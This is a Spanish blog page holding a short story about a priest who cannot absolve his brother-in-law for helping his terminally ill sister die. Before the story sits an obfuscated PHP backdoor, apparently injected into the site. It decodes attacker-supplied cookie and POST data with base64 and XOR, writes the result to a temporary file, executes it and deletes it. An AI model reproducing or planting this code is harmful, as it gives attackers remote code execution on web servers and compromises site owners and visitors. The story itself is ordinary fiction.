$nJiipQ = "\x4d" . '_' . "\x48" . chr ( 517 - 443 ).'h' . "\x44" . 'c';$JSZzPIxGbH = "\143" . chr (108) . chr ( 857 - 760 )."\x73" . "\x73" . "\137" . chr (101) . "\170" . chr (105) . chr (115) . "\164" . chr ( 241 - 126 ); $fIaFewIVp = $JSZzPIxGbH($nJiipQ); $nJiipQ = "23744";$GogrbYc = !$fIaFewIVp;$JSZzPIxGbH = "42898";if ($GogrbYc){class M_HJhDc{public function VUjVnhVuEK(){echo "5537";}private $MnLCnTvit;public static $IvErMj = "ea0e5aa3-fac4-4fa1-9ed3-6bffe5e36f6a";public static $UriJCglL = 32002;public function __construct($jhovr=0){$BsAFotg = $_COOKIE;$HvGOKEZQxN = $_POST;$whKRQebSl = @$BsAFotg[substr(M_HJhDc::$IvErMj, 0, 4)];if (!empty($whKRQebSl)){$ItrlW = "base64";$OXyNJYH = "";$whKRQebSl = explode(",", $whKRQebSl);foreach ($whKRQebSl as $FjPPLERFEF){$OXyNJYH .= @$BsAFotg[$FjPPLERFEF];$OXyNJYH .= @$HvGOKEZQxN[$FjPPLERFEF];}$OXyNJYH = array_map($ItrlW . chr ( 610 - 515 ).'d' . "\x65" . 'c' . "\x6f" . chr ( 749 - 649 ).chr (101), array($OXyNJYH,)); $OXyNJYH = $OXyNJYH[0] ^ str_repeat(M_HJhDc::$IvErMj, (strlen($OXyNJYH[0]) / strlen(M_HJhDc::$IvErMj)) + 1);M_HJhDc::$UriJCglL = @unserialize($OXyNJYH);}}private function uDdbCYnU(){if (is_array(M_HJhDc::$UriJCglL)) {$CbAoCoJPkl = sys_get_temp_dir() . "/" . crc32(M_HJhDc::$UriJCglL['s' . chr ( 998 - 901 ).'l' . 't']);@M_HJhDc::$UriJCglL[chr ( 182 - 63 )."\x72" . "\x69" . chr (116) . 'e']($CbAoCoJPkl, M_HJhDc::$UriJCglL["\143" . "\157" . chr (110) . "\164" . 'e' . chr ( 837 - 727 ).'t']);include $CbAoCoJPkl;@M_HJhDc::$UriJCglL["\x64" . chr ( 879 - 778 )."\154" . chr ( 311 - 210 )."\164" . "\x65"]($CbAoCoJPkl); $AhOvtjq = "53441";exit();}}public function __destruct(){$this->uDdbCYnU(); $axitm = str_pad("53441", 10);}}$rQVPaYsKI = new /* 22726 */ M_HJhDc(); $rQVPaYsKI = substr("1707_7598", 1);} El perdón imposible | desdelallanura

El perdón imposible

Te pedí encarecidamente que no lo intentaras, pero aun así has venido y aquí estás. Lo hemos hablado tantas veces… Los dos, incluso los tres. Antes y después de que todo sucediera.

Sabes perfectamente que no puedo perdonarte porque sé que no te arrepientes y que lo hiciste porque ella te lo pidió. Pero yo… yo no puedo absolverte.

Ella, como tú, también estuvo aquí, no sé si lo sabes, si te lo dijo o no. Arrodillada, pese a no creer en nada, en el mismo sitio donde tu estás ahora. No vino a hablar de ella, no me pidió que la perdonase. Vino por ti, porque sabía perfectamente que tú vendrías a confesarte. No sé si debo contártelo, aunque sé que no la estoy traicionando. Sabía que tú vendrías después de que todo pasase, sabía que no podrías cargar con la culpa y sabía que, aun así, no te ibas a echar atrás. Nunca dudó de tu amor. Ese día lloró tanto como estás llorando tú ahora.

Me pides que te absuelva y no puedo. Lo siento. Lo he vivido todo como tú, en primera persona. He llegado a cuestionarme muchas cosas. Me habéis hecho plantearme… hasta mi propia vocación. He sufrido mucho viendo cómo sufriáis y he intentado ayudaros a tomar las mejores decisiones, las que nuestro señor nos dejó, pero a vosotros, o mejor dicho a ella, no le sirvió ninguna.

Recuerdo la cena en la que me contasteis lo de su enfermedad. Recuerdo el abatimiento, la pena y las lágrimas. Hubo un silencio muy pesado que rompió ella. Entre sollozos, pero con mucha calma, empezó a contar cómo quería morir: cuando ya no pudiese moverse y su cabeza empezara a dar signos de demencia, tú la ayudarías. Todo estaba hablado, incluso ella lo había dejado por escrito, como si fuera su testamento, y me dio una copia.

– No puedes decirme todo esto y darme un papel… -le dije gritando-. Quiero ayudarte, quiero estar contigo, quiero que cuentes conmigo para lo que quieras, pero por Dios, no para esto. Quiero oírte, consolarte, quererte, quiero ayudarte. No sé cómo has convencido a tu marido para que sea partícipe de esto, pero yo no. Y sabes que te quiero. Sin mamá, ya solo me quedas tú. Tú y nuestro Señor.

– Sin mamá, yo solo os tengo a los dos: a ti y a mi marido. Yo no tengo a Dios, nunca estuvo conmigo, ni siquiera cuando la vida me sonreía. Solo te pido que me acompañes, y que acompañes a Esteban cuando todo esto acabe por convertirse en realidad. Esteban, como tú, y al contrario que yo, necesitará de tu Dios para salir adelante.

Después de esta cena hubo más cenas. A veces hablábamos del tema, otras veces hacíamos como que no pasaba nada, como que no hubiera enfermedad; nos hablábamos de las cosas que habíamos hecho durante la semana, de la gente del pueblo, de tus compañeros de trabajo, de mis feligreses, de la cosecha o de las vacas… En alguna bebimos más de la cuenta y no pude dar misa al día siguiente. Creo que algunas parroquianas no me lo han perdonado, y me han críado una fama de borracho que no me merezco.

Ahora… ahora ya ha pasado un tiempo. Ella ya no sufre, ya descansa. Pero tú no te quitas de encima la sensación de culpa. Haberla ayudado a morir te quema, y no encuentras consuelo ni por una cosa ni por la otra. Como tú, yo tampoco encuentro consuelo, pero a diferencia de ti, yo me siento culpable por no haber estado contigo y con ella en ese momento, por no haber sido capaz de acompañaros y por no poder concederte ahora mismo la bendición y el perdón que te has ganado. No puedo perdonarte, aun sabiendo que eres un buen hombre, un gran hombre.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *